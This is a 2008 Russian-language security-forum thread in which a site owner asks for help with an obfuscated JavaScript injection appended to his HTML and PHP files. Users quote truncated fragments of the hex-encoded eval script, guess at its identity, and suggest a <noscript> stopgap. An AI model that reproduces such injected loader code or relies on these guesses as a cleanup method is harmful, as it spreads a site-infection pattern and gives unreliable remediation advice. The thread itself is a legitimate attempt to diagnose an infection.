ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Help вирус прикрепляется в конец файлов!
  #1  
Старый 13.06.2008, 15:45
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
По умолчанию Help вирус прикрепляется в конец файлов!

ААААААААААААААААААААААААа а люди помогите!!! Что за вирус, кидаю файлы по ftp на хост и к ним прикрепляется вирус в конец такого типа:

<!-- [ 4455e927ffa4408f4d13cbdc18c9a79d ] --><script>eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x2 0\x61\x6e\x6d\x63\x64\x28\x69\x64\x62\x5a\x29\x7b\ x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x35\x35...
 

  #2  
Старый 13.06.2008, 15:47
sasha008
Познающий
Регистрация: 02.04.2008
Сообщений: 82
Провел на форуме:
1600790

Репутация: 113
Отправить сообщение для sasha008 с помощью ICQ
По умолчанию

ето наверное туркоян!!!
 

  #3  
Старый 13.06.2008, 15:50
MaZaHaKer
Участник форума
Регистрация: 19.01.2008
Сообщений: 111
Провел на форуме:
769380

Репутация: 73
По умолчанию

Цитата:
Сообщение от mff  
ААААААААААААААААААААААААа а люди помогите!!! Что за вирус, кидаю файлы по ftp на хост и к ним прикрепляется вирус в конец такого типа:

<!-- [ 4455e927ffa4408f4d13cbdc18c9a79d ] --><script>eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x2 0\x61\x6e\x6d\x63\x64\x28\x69\x64\x62\x5a\x29\x7b\ x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x35\x35...
похоже на эксплойт .... на JavaScript....
 

  #4  
Старый 13.06.2008, 15:54
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
По умолчанию

Цитата:
Сообщение от sasha008  
ето наверное туркоян!!!
Х/З я сталкивался с этой ***ней когда работал на студии дизайна, пол года ебались с этим вирусом и систему сносили и по 3 антивиря они ставили - так и не хуя!!! Люди добрые помогите! Что делать? Прикрепляется в конец файлов html и php вирус на JS
HELP SOS HELP

Пол года с ними не работаю, а тут попросили зайти на хостинг их, посмотреть проблемму, как раз этот сайт и был инфицирован, я зашел, вышел, после чего на следующий день узнаю, что у меня на другом хосте, на Агаве такой же хлопец сидит! Вот подонки то. HELP !!!

Последний раз редактировалось mff; 13.06.2008 в 19:15..
 

  #5  
Старый 13.06.2008, 15:58
MaZaHaKer
Участник форума
Регистрация: 19.01.2008
Сообщений: 111
Провел на форуме:
769380

Репутация: 73
По умолчанию

Дай полный код который прикрепляется к файлам . Скорее всего у тебя JS\Xorer - Заражает JS файлы и не только .

Последний раз редактировалось MaZaHaKer; 13.06.2008 в 16:01..
 

  #6  
Старый 13.06.2008, 19:18
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
По умолчанию

Цитата:
Сообщение от MaZaHaKer  
Дай полный код который прикрепляется к файлам . Скорее всего у тебя JS\Xorer - Заражает JS файлы и не только .
Код HTML:
<!-- [ 4455e927ffa4408f4d13cbdc18c9a79d ] -->
<script>
eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x61\x31\x66\x25\x37\x66\x25\x35\x31\x31...
Всего кода не сохранил


P.S. кто там так жестко ачат то ддосит, что даже сообщение незапостить!?

Последний раз редактировалось mff; 13.06.2008 в 19:24..
 

  #7  
Старый 13.06.2008, 19:22
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме:
2590715

Репутация: 659


Отправить сообщение для diehard с помощью ICQ
По умолчанию

Напиши полный код. Конечно это не выход, но на время пока будешь искать источник заразы в конце страниц добавляй просто <noscript>
 

  #8  
Старый 13.06.2008, 19:25
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
По умолчанию

Цитата:
Сообщение от diehard  
Напиши полный код. Конечно это не выход, но на время пока будешь искать источник заразы в конце страниц добавляй просто <noscript>
так и сделаю пока! Уже мысли были, нужно как то избавится эт этого дерьмя приципного. Тема актуальная, не в первый раз уже сталкиваюсь.
 

  #9  
Старый 13.06.2008, 19:42
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

function a1f%7f%511 ...

такое начало. поищи лучше весь код
 

  #10  
Старый 13.06.2008, 20:06
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
По умолчанию

Цитата:
Сообщение от Piflit  
function a1f%7f%511 ...

такое начало. поищи лучше весь код
вот он, только конца нету, как появится я выложу весь кусок, он везде одинаково выглядит

http://slil.ru/25893254

Последний раз редактировалось mff; 13.06.2008 в 20:13..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ